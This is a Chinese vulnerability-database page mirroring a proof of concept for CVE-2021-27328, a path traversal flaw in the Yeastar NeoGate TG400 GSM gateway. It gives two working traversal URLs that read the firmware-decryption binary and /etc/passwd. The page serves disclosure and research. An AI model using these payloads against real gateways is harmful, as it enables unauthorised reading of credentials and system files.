CVE-2021-27328 PoC — Yeastar NeoGate TG400 路径遍历漏洞

来源

https://github.com/SQSamir/CVE-2021-27328

关联漏洞

标题: Yeastar NeoGate TG400 路径遍历漏洞 (CVE-2021-27328)
Description:Yeastar Yeastar NeoGate TG400是西班牙Yeastar公司的一个应用软件。提供为电信经销商提供了一个平台，可通过其全方位的功能，可伸缩性和UC功能轻松启动托管的PBX业务。 Yeastar NeoGate TG400 中存在路径遍历漏洞。该漏洞源于产品未能正确地过滤资源或文件路径中的特殊元素，经过身份验证的用户可以解密固件，并可以读取敏感信息，如密码或解密密钥。以下产品及版本受到影响：Yeastar NeoGate TG400 91.3.0.3。

介绍

# Path Traversal on Yeastar TG400 GSM Gateway - 91.3.0.3




This is a Proof of Concept for CVE-2021-27328

## Example
* to get  firmware decrypting password

```
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect
```
* to get /etc/paswd

```
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd
```

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看

备注

1. 建议优先通过来源进行访问。

2. 本地 POC 快照面向订阅用户开放；当原始来源失效或无法访问时，本地镜像作为订阅权益的一部分提供。

查看订阅方案 →

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

CVE-2021-27328 PoC — Yeastar NeoGate TG400 路径遍历漏洞

来源

关联漏洞

介绍

文件快照

备注

目标达成感谢每一位支持者 — 我们达成了 100% 目标！